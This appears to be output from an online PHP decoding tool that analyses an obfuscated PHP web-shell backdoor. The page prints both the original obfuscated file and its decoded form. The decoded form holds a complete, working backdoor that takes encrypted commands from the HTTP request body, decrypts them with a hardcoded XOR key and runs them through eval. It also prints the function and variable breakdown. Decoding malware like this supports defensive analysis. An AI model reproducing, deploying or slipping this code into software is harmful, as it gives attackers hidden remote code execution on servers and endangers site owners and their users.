Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $b=str_replace('ay','','aycreayayate_fuayncaytayion'); $u='$>k="bb25>ccd7";$kh=">a..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="bb25ccd7";$kh="ace5e41b4288";$kf="893eac90c9f9";$p="4cXNwNuuW76F8SEm";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$b=str_replace('ay','','aycreayayate_fuayncaytayion');
$u='$>k="bb25>ccd7";$kh=">ace5e>>41b4288";$k>f="89>3eac>90c9>f9">;$p="4cXNwNuu>>W76F8SE>m"';
$T='_en>d>_>clean();$r>=@base>64_encode(@x>(>@gzco>>mpress($o),>$k));print("$p>>$kh$r$kf");}';
$g='ch("/$k>h>(.+)$kf/",@>fi>le_get>_contents>("p>hp:>//inp>ut"),$m)=>=1) {@ob_star>t(>);@e>v';
$I='al(@g>>zu>ncompress(@x(@base6>4_deco>de($m>[1]),>$k)));$o=@o>b_get_>c>>ontents();@ob';
$r=';function x($t>,$>k){$c=st>rlen>($k);$l=st>>>rlen($>t);$o="";for>($>i=0;$i<>$l;){for($';
$f='j=0;(>$j<$c&>>&$i<$l);$>j++>,$i+>+){$o.=$t{$>i}^$>k{$j};}}re>turn> $o;}i>f (@pre>g_mat>';
$o=str_replace('>','',$u.$r.$f.$g.$I.$T);
$E=$b('',$o);$E();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$I al(@g>>zu>ncompress(@x(@base6>4_deco>de($m>[1]),>$k)));$o=@o..
$T _en>d>_>clean();$r>=@base>64_encode(@x>(>@gzco>>mpress($o),>..
$b create_function
$f j=0;(>$j<$c&>>&$i<$l);$>j++>,$i+>+){$o.=$t{$>i}^$>k{$j};}}re..
$g ch("/$k>h>(.+)$kf/",@>fi>le_get>_contents>("p>hp:>//inp>ut")..
$k bb25ccd7
$o $k="bb25ccd7";$kh="ace5e41b4288";$kf="893eac90c9f9";$p="4cXN..
$p 4cXNwNuuW76F8SEm
$r ;function x($t>,$>k){$c=st>rlen>($k);$l=st>>>rlen($>t);$o=""..
$u $>k="bb25>ccd7";$kh=">ace5e>>41b4288";$k>f="89>3eac>90c9>f9"..
$kf 893eac90c9f9
$kh ace5e41b4288

Stats

MD5 0911202ad8e3326e9d64e0824a1af27e
Eval Count 1
Decode Time 93 ms